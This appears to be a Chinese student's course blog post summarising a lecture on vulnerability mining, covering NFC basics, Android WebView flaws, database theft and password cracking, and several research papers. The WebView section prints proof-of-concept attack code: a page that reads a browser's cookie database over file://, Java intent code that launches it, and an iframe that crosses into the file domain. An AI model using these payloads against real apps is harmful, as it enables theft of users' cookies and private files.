20189230杨静怡 2018-2019-2 《密码与安全新技术专题》第11周作业

课程:《密码与安全新技术专题》

班级:1892
姓名:杨静怡
学号:20189230
上课教师:王志强
上课日期:2019年5月7日
必修/选修:选修

1.本次讲座的学习总结

讲座主题:漏洞挖掘及攻防技术

2.学习中遇到的问题及解决

  • 问题1:究竟什么是NFC技术?NFC和射频技术相比有什么区别?
  • 问题1解决方案:
    (1)NFC的诞生
    NFC,全称是Near Field Communication,即“近场通信”,也叫“近距离无线通信”。它诞生于2003年,由飞利浦和索尼这两个移动设备巨头联合研发。2004年,两大巨头与诺基亚一起,创建NFC论坛,开始推广NFC的应用。
    (2)NFC到底是什么技术?它与射频技术相比有什么区别?
    NFC是一种短距离的高频无线通信技术,允许电子设备之间进行非接触式点对点数据传输。
    说到NFC,就不得不谈谈它的大哥,也就是RFID。RFID,Radio Frequency Identification,即射频识别,又名电子标签。顾名思义,RFID的工作原理就是给一件件物品上贴上一个包含RFID射频部分和天线环路的RFID电路。

    携带该标签的物品进入人为设置的特定磁场后,会发出特定频率的信号,阅读器就可获得之前该物品被写入的信息。这有点像工作人员脖子上挂的胸牌,而你就是他的主管,当他进入你的视线,你就可以知道他的姓名职业等信息,还可以改写他胸牌的内容。

    如果说RFID是一个人戴着胸牌方便别人了解他,那么NFC就是两个人都戴着胸牌,而且他们可以在看到对方后任意更改胸牌上的内容,改变对方接收到的信息。

    NFC与RFID在物理层面看上去很相似,但实际上是两个完全不同的领域,因为RFID本质上属于识别技术,而NFC属于通信技术。
    (3)NFC的工作模式
    A.主动模式
    在主动模式下NFC终端可以作为一个读卡器,发出射频场去识别和读/写别的NFC设备信息。

    B.被动模式
    这个模式正好和主动模式相反,此时NFC终端则被模拟成一张卡,它只在其他设备发出的射频场中被动响应,被读/写信息。

    C.双向模式
    在此模式下NFC终端双方都主动发出射频场来建立点对点的通信。相当于两个NFC设备都处于主动模式。
    以被动模式为例:
    启动NFC通信的设备,也称为NFC发起设备,在整个通信过程中提供射频场(RF-field)。它可以选择106kbps、212kbps或424kbps其中一种传输速度,将数据发送到另一台设备。
    另一台设备称为NFC目标设备,不必产生射频场,而使用负载调制(load modulation)技术,即可以相同的速度将数据传回发起设备。
    两者即实现了通信。
    移动设备主要以被动模式操作,可以大幅降低功耗,并延长电池寿命。
    (4)NFC的发展现状
    A.卡模拟
    这是NFC最早的功能之一。
    让手机可以作为公交卡和银行卡使用,可以大大减少现在出行所需要携带卡片的数量。但是,由于软件问题,这个功能在早期始终无法普及。
    现在该功能终于得到了足够的软件支持,小米、华为、三星、努比亚、一加、魅族等手机厂商纷纷推出了可以模拟公交卡的专属APP。遗憾的是,该功能只能在几个一线城市使用,普及还需要时间。
    至于银行卡模拟,目前只有支付宝,Samsung Pay,Mi Pay,华为钱包等几个APP支持。
    B.文件传输
    类似于手机蓝牙,在两台手机都将NFC功能开启后,将手机靠近即可建立连接,之后就可选择传输或接收文件。
    但是,正如前文提到的,NFC远不如蓝牙快捷,但NFC可以作为蓝牙的预链接使用。
    现在很多相机、照片打印机,也通过NFC进行图片快速传输,毕竟非常方便快捷。
    除此以外,越来越多的NFC应用被不断发掘出来。例如,现在火爆的共享单车。
    摩拜和ofo两大共享单车也发布了支持NFC的新车型,用户可以跳过扫码步骤,直接将手机靠近智能锁即可解锁,让用户的使用体验更好,但目前该功能仍有一定的局限性。
  • 问题2:最近刚学了基于Android studio的移动平台开发,对于Android开发有哪些常见的漏洞呢?
  • 问题2解决方案:WebView漏洞及建议
    在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等。WebView功能强大,应用广泛,但它是天使与恶魔的合体,一方面它增强了APP的上网体验,让APP功能更多样化,另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题可以直接导致用户敏感信息泄露,移动终端被恶意攻击者控制。将WebView的常见漏洞和针对建议总结如下。
    (1)WebView任意代码执行漏洞
    已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。
    (2)WebView密码明文存储漏洞
    WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db。
    (3)WebView域控制不严格漏洞
    A.setAllowFileAccess
    Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。
    B.setAllowFileAccessFromFileURLs
    在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。
    C.setAllowUniversalAccessFromFileURLs
    在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。
    D.360手机浏览器缺陷可导致用户敏感数据泄漏
    以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:
function getDatabase() {  
    var request = false;
    if(window.XMLHttpRequest) {
     request = new XMLHttpRequest();
      if(request.overrideMimeType) {
           request.overrideMimeType('text/xml');
       }
    }
    xmlhttp = request;
    var prefix = "file:////data/data/com.qihoo.browser/databases";
    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
    var path = prefix.concat(postfix);
    // 获取本地文件代码
    xmlhttp.open("GET", path, false);
    xmlhttp.send(null);
    var ret = xmlhttp.responseText;
    return ret;
}

漏洞利用代码:

copyFile(); //自定义函数,释放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);

(4)WebView file跨域漏洞
Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

<iframe name=f src="www.baidu.com" ></iframe>
<script>
    function init(){
        f.location = "file:///default.prop";
    }
    setTimeout(init,5000)
</script>

在浏览器中打开服务器上的filereach.html,将从http域跳转到file域。

3.本次讲座的学习感悟、思考等

听了王老师此次的讲座,我了解到了“脱库”的相关知识,我查阅了“撞库、洗库、脱库”的相关知识,并加以总结。
在黑客术语里面,”脱库“是指黑客入侵有价值的网络站点,把注册用户的资料数据库全部盗走的行为,因为谐音,也经常被称作“脱裤”,360的库带计划,奖励提交漏洞的白帽子,也是因此而得名。在取得大量的用户数据之后,黑客会通过一系列的技术手段和黑色产业链将有价值的用户数据变现,这通常也被称作“洗库”。最后黑客将得到的数据在其它网站上进行尝试登陆,叫做”撞库“,因为很多用户喜欢使用统一的用户名密码,”撞库“也可以是黑客收获颇丰。下图是黑客在“脱库”“洗库”“撞库”三个环节所进行的活动。

黑客获取用户信息的技术手段主要分为以下几种:
(1)远程下载数据库文件
这种拖库方式的利用主要是由于管理员缺乏安全意识,在做数据库备份或是为了方便数据转移,将数据库文件直接放到了Web目录下,而web目录是没有权限控制的,任何人都可以访问的;还有就是网站使用了一些开源程序,没有修改默认的数据库;其实黑客每天都会利用扫描工具对各大网站进行疯狂的扫描,如果你的备份的文件名落在黑客的字典里,就很容易被扫描到,从而被黑客下载到本地。
(2)利用web应用漏洞
随着开源项目的成熟发展,各种web开源应用,开源开发框架的出现,很多初创的公司为了减少开发成本,都会直接引入了那些开源的应用,但却并不会关心其后续的安全性,而黑客们在知道目标代码后,却会对其进行深入的分析和研究,当高危的零日漏洞发现时,这些网站就会遭到拖库的危险。
(3)利用web服务器漏洞
Web安全实际上是Web应用和Web服务器安全的结合体;而Web服务器的安全则是由Web容器和系统安全两部分组成,系统安全通常会通过外加防火墙和屏蔽对外服务端口进行处理,但Web容器却是必须对外开放,因此如果Web容器爆出漏洞的时候,网站也会遭到拖库的危险。
黑客怎样解密得到的数据:
通常情况下,数据库中的个人信息如:邮箱、电话、真实姓名、性别等都是明文存储的。而密码通常经过MD5加密之后存储。黑客可以很轻易地把他需要的且是明文存储的数据从数据库中剥离出来。而MD5加密之后的数据这需要一定的解密流程才能看到明文。通常解密MD5的方法有,暴力破解,字典破解和彩虹表。

(1)暴力破解
暴力破解是一种"时间消耗型"的破解方法,确定了密文的加密方式的前提下,使用相同的加密算法,计算M = H(P)。P为所有的明文空间,H为加密算法,M为密文,然后将计算得到的M和待破解的密文进行比较,如果匹配成功,则对应的明文P即为待破解密文的明文。值得注意的是,这个枚举P和比较M的过程往往是在内存中进行的,也即在计算的过程中一边产生,一边比较,这次破解结束后,下一次破解又要重新开始从头枚举,效率不太高。
(2)字典破解
字典破解本质上还是"暴力破解"的一种,在字典破解中,攻击者是对所有的明文(M)进行预计算,将所有的明文的HASH都事先计算好,并保存起来。典型的MD5字典如下:

password  5f4dcc3b5aa765d61d8327deb882cf99
admin    21232f297a57a5a743894a0e4a801fc3
cnblog    efbc3548e65e7225dcf43d3918d94e6f

在进行破解的时候,破解程序将字典映射Mapping到内存中,然后将HASH和待破解的密文进行逐条比较(这点和暴力破解是一样的),直到找到某条HASH和待破解的密文相同为止。
值得注意的是,基于字典的暴力破解时间上比单纯的内存计算型暴力破解更有效率,只要一次的"字典生成"花费一定的时间,后续的多次破解都可以重复使用这个字典。
注意,这里说的"字典"指的对应某个算法的字典: MD5 Directory、SHA1 Directory、NTLM Directory等等。
总的来说,字典攻击是对单纯的内存型暴力破解的一个改进,它引入了预处理的思想,但缺点也很明显,需要占用及其庞大的磁盘空间,以至于对于长度16以上的密码字典,完整存储根本不可能。
(3)彩虹表
这是对暴力破解和字典破解的一种折中的破解技术,在2003年瑞典的Philippe Oechslin 在Making a Faster Cryptanalytic Time-Memory Trade-Off一文中首次被提出,它有效的利用了预处理的优点,同时又克服了字典破解消耗太大磁盘空间的缺点,在这两者中找到了一个平衡点。

4.“Vulnerability mining”最新研究现状(由于数据库限制,博客中所查找的论文均为IEEE收录的期刊或会议论文)

[Research on Android Vulnerability Mining Technology Based on Control Flow Analysis /)

论文来源:

2016 Sixth International Conference on Instrumentation & Measurement, Computer, Communication and Control (IMCCC)

作者信息:
Yu Lu
Shen Yi
Pan Zulie
研究进展:
安卓系统广泛应用于移动终端,存在严重的安全问题。提高移动安全性和保护用户隐私非常重要,因此人们需要找到Android系统的漏洞并加以修复。该文章总结了目前广泛使用的Android漏洞挖掘技术,并使用CuxelEL工具编写脚本。这样,我们就可以发现在多个Android版本中指针的不当使用。

根据受影响的目标,Android的脆弱性可分为系统脆弱性软件脆弱性。前者主要存在于Android的内核和框架代码中,后者主要影响第三方开发的应用。
漏洞是影响Android安全的关键因素,因此它已成为增强Android安全性的最重要途径之一。然而,传统的PC平台漏洞挖掘技术不能满足智能终端的需求:智能终端的框架不像PC平台,其隐私数据主要包括用户联系、消息、呼叫历史和位置信息,而PC的隐私数据主要包括使用历史。Android的体系结构也不同于PC,这使得Android平台中很少存在与代码执行相关的漏洞。

Android漏洞研究——
Android漏洞挖掘技术可以分为动态和静态两种,需要可扩展性和精确性。脆弱性挖掘技术是基于污染分析、可达路径分析、符号执行和模糊化的。可到达路径分析和符号执行是静态的,模糊化是动态的,污染分析包括两者。静态污染分析使用控制流和数据流分析来标记污染源、相关函数来查找漏洞。
这篇文章使用基于控制流的Coccinelle来进行代码的分析,并对android内核代码进行了漏洞挖掘。我们使用脚本语言SmPL生成脚本,并匹配空指针引用和内存泄漏故障的模式,以找出潜在的漏洞。

实验和结果——
文章使用SmPL语言进行了实验,测试了Android的多个版本。实验主要针对指针的三种错误使用。
1)内存未释放
如果指针指向的动态内存在使用后没有释放,就会发生内存泄漏;
2)空指针引用
如果一个指针在使用前没有经过验证,或者一个空指针用作对象,那么指针的某些错误用法可能是漏洞;
3)浮动指针的用法
在使用并释放指针指向的内存之后,指针指向的内存将返回到操作系统。指针变为浮动指针。如果处理不当,指针引用错误也会存在。
实验使用了三种不同版本的Android,分别是2.1、3.0和4.0,以找出代码中可能存在的故障。我们在Android 2.1中发现48个故障,其中9个漏洞得到确认。存在误报的原因是该工具不具备进行数据流分析的能力,并且无法切断无法到达的分支。
Android2.1:

Android3.0:

Android4.0:

实验可以看出三种不同版本存在的内存故障,其中未释放内存故障的数量相对较高。存在假阳性的原因是,该工具仅在不切断不可执行的执行路径的情况下提交控制流分析。

结论
本文采用控制流分析工具coccinelle和smpl语言对存储器故障码的特征进行了总结,并对其特征进行了匹配。这样,就可以测试安卓内核的安全漏洞。对安卓内核代码的多个版本进行了故障查找实验,并证明存在相关的漏洞。然而,通过对Android部分代码的分析,可以得出结论:SMPL脚本语言在匹配内存故障特征方面是有限的。如果代码具有特殊字符,则应修改脚本以匹配特定字符。在今后的研究中,应结合数据流分析工具,降低误报率和人工工作量。

A Mining Approach to Obtain the Software Vulnerability Characteristics

论文来源:

2017 Fifth International Conference on Advanced Cloud and Big Data (CBD)

作者信息:
Yu Lu
Jinfu Chen
Zhechao Lin
研究进展:
由于信息系统的技术进步,软件脆弱性在过去十年中仍然是软件工程领域的一个严重挑战。软件应用程序的快速发展以及系统开发人员未能在程序代码发布到市场之前正确分析程序代码,增加了数据泄露的可能性。众所周知,大多数系统故障都是由软件应用程序中检测到的错误和错误造成的。虽然代码错误对软件质量有显著影响,但目前还没有一种有效的方法可以用来消除软件错误,提高软件的可靠性。数据挖掘及其相关算法是软件脆弱性分析的一个活跃领域。然而,应用数据挖掘技术的概念并没有被经验证明是获取软件脆弱性本质特征的有效方法。为了研究这一影响,文章提出了一种基于漏洞的数据挖掘算法,分析并获得了基于软件漏洞的数据挖掘技术的本质特征。本文首先使用数据挖掘技术和公共漏洞数据库来提取和预处理软件漏洞。我们评估所提出的技术使用共同脆弱性和暴露(CVE)数据库,共同弱点枚举(CWE)数据库,国家脆弱性数据库(NVD)数据集。实验结果表明,该算法在漏洞挖掘过程中有显著的改进。最有趣的发现是,我们观察到,在所有三个项目中,召回率约为70%,精确度约为60%。

获取基本特征:一种新方法
为了获得软件脆弱性的本质特征,我们使用了以下操作(提取、识别、挖掘和应用)来解释我们的程序。

实验分析与结果
我们使用脆弱性挖掘方法进行了探索性分析。由于这项研究是一项探索性的研究,因此有必要获得必要和非必要漏洞的文本指标。通过阅读代码行及其各自的注释,我们手动提取了每个开源项目的基本特征。以下文本指标分别针对这三个项目的关键和非关键漏洞进行了提取。这些被用来为漏洞挖掘算法构建文本指标词汇表。
从CVE项目中挖掘出的基本漏洞:

从CWE项目中发现的主要漏洞:

从NVD项目中发现的主要漏洞:

主要和非主要漏洞统计:

从CVE项目中提取的关键漏洞统计:

从CWE项目中提取的关键漏洞统计:

从NVD项目中提取的关键漏洞统计:

结论与未来工作——
每天报告的大量软件漏洞以及这些漏洞对公司和最终用户在成本和时间方面的影响,使得软件工程领域的研究人员必须对软件漏洞进行最近的研究和分析。在本研究中,我们利用CWE、CVE和NVD数据库中存在的软件漏洞信息,提出了一种漏洞挖掘算法,并获得了软件漏洞的本质特征。研究结果表明,与人工方法相比,该方法在提取软件漏洞本质特征方面有显著的改进。我们分析中最重要的发现是,我们发现在所有三个项目中,召回率约为70%,准确率约为60%。这表明漏洞挖掘算法在检测本质和非本质漏洞方面有了显著的改进。这意味着本研究所采用的方法可以有效地用于提取和获取软件漏洞的本质特征。虽然我们使用了三个以不同格式存储软件漏洞的漏洞数据库,但我们的方法没有考虑用于存储这些漏洞的其他功能。在未来,我们计划通过添加其他特性来扩展研究范围,并挖掘从各种数据库中提取的基本漏洞之间的关联。

Work-in-Progress: DOVE: Pinpointing firmware security vulnerabilities via symbolic control flow assertion mining

论文来源:

2017 International Conference on Hardware/Software Codesign and System Synthesis (CODES+ISSS)

作者信息:
Alessandro Danese
Graziano Pravadelli
研究进展:
在过去十年中,报告的利用未经检查的输入固件值进行安全攻击的次数一直在增加。为了解决这一趋势,本文提出了DOVE,固件漏洞检测。Dove是一个能够识别不太可能的固件执行流的框架,在该框架中,安全漏洞可以逃避一般的验证工作。它依靠一个符号模拟器、一个概率映射器和一个断言生成器,通过在抽象硬件模型中模拟正在验证的固件,自动生成正式断言。这些断言描述了硬件模型的内存位置和寄存器,固件可以在其不同的执行路径中进行操作。然后根据遍历相关执行路径的容易程度对生成的断言进行排序,以便验证工程师可以直接检查最不可能的执行路径,以查明潜在的漏洞。
Dove的执行框架:

Dove框架分三个阶段工作:符号模拟;概率映射器;断言生成器。
实验性评价——
由于缺乏空间,我们仅报告一个案例研究,即利用易受攻击的固件使内存保护机制失效。所分析的固件充当内存映射密码和上层软件之间的接口。固件从密码接口读取值,然后详细说明存储读取值的内存地址。在这种情况下,存储固件指令的内存位置是不可写的,除非设置了标志bioswe。此外,每次尝试更改此标志都会导致硬件中断,从而将bioswe重置为其默认值,即零。在正确的执行流中,来自密码的每个值都正确地存储在上层软件可读的内存位置中。此外,由于实现了内存写保护机制,任何覆盖固件代码的尝试都没有效果。然而,在本案例研究中,中断控制器寄存器(gbl-smi-en)中可能存在安全漏洞。特别是,如果硬件中断可以被禁用,那么bioswe将被公开设置,并且存储在内存中的固件代码随后可以被成功覆盖。通过Dove,我们调查了这个案例研究,并自动生成突出上述安全漏洞的断言。下表报告了我们通过增加模拟指令的数量得到的实验结果。下表的列:模拟指令的数量、生成的符号状态、生成的断言的数量、符号模拟、概率映射器和断言生成阶段分别花费的执行时间(秒)。最后一列最终以秒为单位报告整个框架的总体执行时间。正如预期的那样,模拟指令的数量越高,生成的符号状态集就越大。生成的断言的数量也增加了,但是最后一组断言很小,只需几秒钟就可以生成。生成的断言按照遵循固件的模拟执行路径的概率进行排序。我们报告了排名靠前的生成断言,它突出显示了最不可能的模拟执行路径:

New Development of Fuzzing-based Vulnerabilities Mining Research

论文来源:

2011 First International Conference on Instrumentation, Measurement, Computer, Communication and Control

作者信息:
Qi Lanlan
Xu Dan
Wu Zhiyong
研究进展:
从1990年B.P.Miller首次引入模糊技术,发现25%以上的Unix程序出现故障,到北京大学最近推出的污点检测系统,以及在Adobe Acrobat等几种流行软件中发现的27 0day漏洞,实践经验和结果表明,模糊技术是有效的漏洞挖掘。本文对模糊问题进行了研究和探讨。首先,分析了模糊的新特点。然后,将目前的模糊测试用例生成技术分为四类。提出了提高模糊质量的新研究方向。

模糊化是一种基于故障注入的自动化软件测试技术。它使用大量的半有效数据作为应用程序的输入,然后监视和记录任何异常。所谓半有效数据是指文档和大多数数据的必要标识是有效的,而其余的数据则是无效的。当目标应用程序处理无效数据时,可能会导致应用程序崩溃或触发安全漏洞。

经过近20年的发展,模糊化有了一些新的特点:
(1)反馈驱动模糊。在执行期间利用程序的内部信息来指导测试数据的生成。如图所示,不安全的函数信息、运行时信息、代码覆盖率等反馈信息直接智能地生成了正确的、格式错误的测试数据。它可以大大提高漏洞挖掘的效率,如BuzzFuzz、FTSG、TaintScope。

(2)白盒模糊一体化。基于符号执行的白盒模糊(如exe、klee)可以用符号值替换所有程序输入,收集程序跟踪上的输入约束,并生成新的输入,以沿不同的跟踪驱动程序执行。这些工具能够提供良好的代码覆盖率,并已被证明能够高度提高传统模糊工具的有效性。他们成功地在GNU coreutils、大型Windows应用程序和Linux文件系统中检测到严重的错误。
(3)模型推理辅助模糊化。许多协议反向器工程工具(如ftsg、prospex、tupin、autoformat、polyglot、discoverer、ffe/x8)可用于指导模糊测试。这些工具可以通过分析网络流量提取输入数据的格式规范,在处理输入数据时监视程序的执行,或者直接分析二进制可执行文件。提取的协议规范可以进一步转换为模糊规范。该技术可以降低测试数据结构的复杂性,提高代码覆盖率。

Data mining for web vulnerability detection: A critical review

论文来源:

2017 8th International Conference on Information Technology (ICIT)

作者信息:
Duha A. Al-Darras
Ja'far Alqatawna
研究进展:
开发没有漏洞的软件应用程序是必要的,特别是如果这些应用程序打算在万维网上运行。随着软件应用程序开发的快速发展,开发能够自动检测软件漏洞的工具的需求出现了。这些工具的主要挑战是提供高精度和低假阳性或假阴性率。本文分析了如何利用数据挖掘技术提高漏洞检测质量。我们首先讨论Web应用程序的漏洞以及静态检测方法及其局限性。然后,我们探讨了数据挖掘技术及其改进漏洞检测的潜力。本文综述和讨论了在文献中使用这类技术的结果。作为一个结论,我们认为,随着越来越多的研究使用数据挖掘进行漏洞检测,我们可能会得到一个更好的检测选择,但是,需要进一步研究的几个方面,包括特征工程,自适应分类器和特征选择。
2013年4大OWASP安全风险解读:

静态分析及其局限性:
静态代码分析(也称为源代码分析)是一种白盒方法,它使用一组规则检测代码中的漏洞,如缓冲区溢出和SQL注入。静态代码分析是在没有实际执行程序的情况下执行的。静态分析的一个主要优点是可以早期检测代码中的漏洞。检测到漏洞越早,纠正漏洞的成本就越低。开发人员应用的一些源代码分析方法包括:类型推断、约束分析、符号执行、模型检查、控制和数据流分析,如静态污染分析和基于文本的模式匹配、词汇分析和从源代码构建抽象语法树(ast)。这些技术用于从程序源代码检测不同类型的漏洞。使用这些技术的主要问题是假阳性和假阴性率高,这降低了静态分析的可靠性和效率。为了提高静态分析数据挖掘技术的质量。
数据挖掘技术:
数据挖掘技术是用于处理大量数据(通常存储在数据仓库中)以提取有用信息的技术。提取的信息可能包含将在分类或聚类过程中使用的特征。或者在数据中隐藏模式,这些模式将用于决策。下图总结了数据挖掘的一般过程。

数据挖掘技术已被用于检测代码中的漏洞,或者用于对检测到的漏洞是否为真正的漏洞进行分类。A部分提供了使用数据挖掘来检测代码中的漏洞的研究。B节提供了使用数据挖掘对漏洞检测方法检测到的漏洞不是假阳性或假阴性漏洞进行分类的研究。
A.数据挖掘与模式匹配以检测代码中的漏洞
最流行的漏洞检测方法之一是模式匹配。检测注册模式的类型有两种:正安全模式和负安全模式。正安全模型注册了许多非易受攻击的Web代码模式,当一个新的模式与任何注册的模式不匹配时,它被归类为易受攻击的模式。相反,当一个新的模式与任何注册的模式不匹配时,负安全模型注册许多恶意Web代码模式,它被分类为不易受攻击。此模式仅限于预先注册的模式,这意味着它不能灵活地更改恶意Web代码。另一种方法使用数据挖掘算法检测漏洞。该方法包括两个主要阶段:学习阶段和分类阶段。在学习阶段,提取特征并定义规则。在分类阶段,分类器根据特征向量将给定的代码分类为易受攻击或不易受攻击的代码。使用机器学习算法的一个优点是,它可以利用更广泛的漏洞检测范围。
有人提出了一种检测SQL注入的机器学习方法。在学习过程中,应用程序从文本文件中读取训练数据集,然后将数据传递给分类器的学习方法。然后,分类器使用空白分离和标记化方法从接收到的数据中生成特征向量。在分类过程中,应用程序读取测试数据集,并使用从学习过程中提取的特征对其进行分类。本研究所采用的纳维贝叶斯机器学习方法的分类结果如下:准确度为93.3%,精密度为1.0,召回率为0.89。这些结果提高了SQL注入漏洞检测的效率,减少了误报数量。假阳性意味着组件被预测为易受攻击,但实际上是干净的。然而,假阴性意味着一个组件被预测为干净的,但实际上,它是脆弱的。
另一项研究使用类似的方法检测SQL注入和XSS。在本研究中,我们测试了多个机器学习算法来分类SQL注入和XSS输入漏洞。结果表明,采用高斯核的支持向量机具有最高的精度和精度,如下表所示。
SQL的注入评估结果:

XSS的评估结果:

用于评估SQL注入的数据集:

B.数据挖掘和静态分析
程序员经常使用静态分析技术来自动搜索和删除应用程序源代码中的漏洞。开发静态分析工具需要明确的编码知识,以了解如何检测复杂过程中的每个漏洞。

然而,这些静态分析技术在发现经典编程缺陷(如缓冲区溢出或SQL注入)方面被证明是成功的,但是它们有很高的误报率。尽管纯静态分析技术作为独立的通用漏洞检测技术,似乎不能提供高精度,但如果将静态分析技术与数据挖掘技术等其他方法相结合,将提高准确性和精度,降低误报率。采用数据挖掘技术的方法的主要因素是以最低的假阳性率达到预测方法的最高精度和精度。因此,在分类过程中,选择分类方法或分类方法与适当的特征相结合,以满足这一因素是非常重要的。
在这个阶段,机器学习被用来分类代码分析器阶段发现的漏洞是否是真正的漏洞。结果模型已经在三种不同的机器学习算法上进行了测试。第一类是图形和符号算法,该类包括以下算法:ID3、C4.5/J48、随机树和随机森林分类器。第二类是概率算法,这类算法包括NA_ve Bayes(NB)、K-最近邻(KNN)和逻辑回归(LR)。第三类是神经网络算法,这类算法有两种:多层感知器(MLP)和支持向量机(SVM)。在对上述算法进行了分析之后,得出结论:对于所使用的数据集,没有哪种分类器最适合对误报进行分类。因此,前三个分类器被用来增加对假阳性分类的置信度。前三个分类器分别是逻辑回归、随机树和支持向量机。三个分类器的组合依次应用:首先是lr;如果lr将漏洞分类为假阳性,则应用rt;如果是假阳性,则应用svm。只有当支持向量机认为是假阳性时,最终结果才被确定为假阳性。这些分类器是在WAP中实现的,精度达到了92.1%,精度达到了92.5%。
一项研究提出了一种将静态分析与机器学习技术相结合的新工具。这个工具叫做DEKANT,它是用Java实现的。利用该工具,他们使用隐马尔可夫模型(HMM)进行漏洞检测。HMM是一个动态贝叶斯网络,其节点表示随机变量,边缘表示这些变量之间的概率依赖性。这些变量要么是观察变量(观察值),要么是隐藏变量(状态)。边缘是从一个状态到另一个状态的转移概率。该工具的精度和准确度在96%左右。假阳性率为17%,假阴性率为0.5%。与WAP等工具相比,HMM的使用提高了dekant的精度和准确性。表6显示了wap和dekant之间的比较。

通常,将数据挖掘技术,特别是机器学习算法与静态分析模型相结合,提高了这些模型的准确性和精度。

小结

从事漏洞挖掘工作需要具备的知识是极其广泛的,并且随着时间在不断改变,也取决于你所研究的对象(web程序、桌面程序、嵌入式等等)。不过,万变不离其宗,所需要掌握的知识领域却总可以认为是确定的,我认为大致可以分为以下四个方面:
(1) 程序正向开发技术。这是一个开发者需要掌握的能力,包括编程语言、系统内部设计、设计模式、协议、框架等。拥有丰富编程经验与开发能力的人在漏洞挖掘过程中往往比那些只对安全相关领域有所了解的人员对目标应用能有更深入的理解,从而有更高的产出。
(2)攻防一体的理念。这些知识涵盖了从基本的安全原则到不断变换的漏洞形态及漏洞缓解措施。攻击和防御结合的理念,能够有效帮助研究者既能够发现漏洞,同时也能够快速给出有效的漏洞缓解措施和规避方法。
(3)有效使用工具。能够高效的使用工具能够快速将思路转化为实践,这需要通过花时间去学习如何配置和使用工具,将其应用于自己的任务并构建自己的工作流程来不断积累经验。更进一步,需要深入掌握所使用工具的原理,以及如何对其进行二次开发,以使得其能够更加高效的应用于当前的工作实际。事实上,我认为面向过程的学习方法往往比面向工具的学习方法更加高效以及有价值,当自己发现一个在使用一个工具遇到瓶颈时,先不要退缩,尝试去改造它,或者通过自己动手实践去完成能够适应当前工作的工具,这往往能够帮助快速积累大量实践经验。帮助我们以后更加高效的去实践漏洞挖掘工作。
(4)对目标应用的理解。最后,也是最重要的,作为一个漏洞挖掘人员,对自己研究的应用程序在安全性方面必须要比这个程序的开发者或维护者有更深的理解。这样你才能尽可能的发现这个程序中的漏洞并修复它。

参考资料

[Research on Android Vulnerability Mining Technology Based on Control Flow Analysis /)
A Mining Approach to Obtain the Software Vulnerability Characteristics
Work-in-Progress: DOVE: Pinpointing firmware security vulnerabilities via symbolic control flow assertion mining
New Development of Fuzzing-based Vulnerabilities Mining Research
Data mining for web vulnerability detection: A critical review

猜你喜欢

转载自www.cnblogs.com/EvelynYang/p/10887024.html